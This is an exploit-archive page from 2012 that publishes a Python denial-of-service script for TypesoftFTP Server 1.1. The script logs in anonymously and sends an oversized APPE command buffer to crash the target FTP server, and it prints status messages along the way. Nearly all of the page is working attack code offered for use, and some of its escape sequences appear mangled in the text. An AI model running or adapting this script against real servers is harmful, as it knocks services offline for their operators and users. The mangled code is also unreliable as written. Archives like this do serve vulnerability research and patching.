[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : TypesoftFTP Server 1.1 Remote DoS (APPE)
# Published : 2012-03-17
# Author :
# Previous Title : Kantaris 0.5.6 local Denial of service Poc
# Next Title : Novell Groupwise Address Book Remote Code Execution


#!/usr/bin/python
###############################################################################
# SEH overflow exploiting a vulnerability in Typesoft-FTP APPE command.
# Date of Discovery: 3/16/2012 (0 Day)
# Author: Brock Haun
# Vulnerable Software Download: http://sourceforge.net/projects/ftpserv/
# Software Version: 1.1
# Target OS: Windows 7
# REQUIRES VALID CREDENTIALS. Luckily, anonymous logins are enabled by default. 
###############################################################################

import socket, sys

if len(sys.argv)!= 2:
     print 'nt[*] Usage: ./' + sys.argv[0] + ' <target host>'
     sys.exit(1)

print 'nt[*] TypesoftFTP Server 1.1 Remote DoS (APPE) by Brock Haun'

host = sys.argv[1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


buffer = 'A../' + 'x41' *100 

print 'nt[*] Sending crash buffer ("A../ + x41 * 100").'

s.connect((host,21))

data = s.recv(1024)

s.send('USER anonymous' + 'rn')

data = s.recv(1024)

s.send('PASS anonymous' + 'rn')

data = s.recv(1024)

s.send('APPE ' + buffer + 'rn')

print 'nt[*] Done! Target should be unresponsive!'

s.close()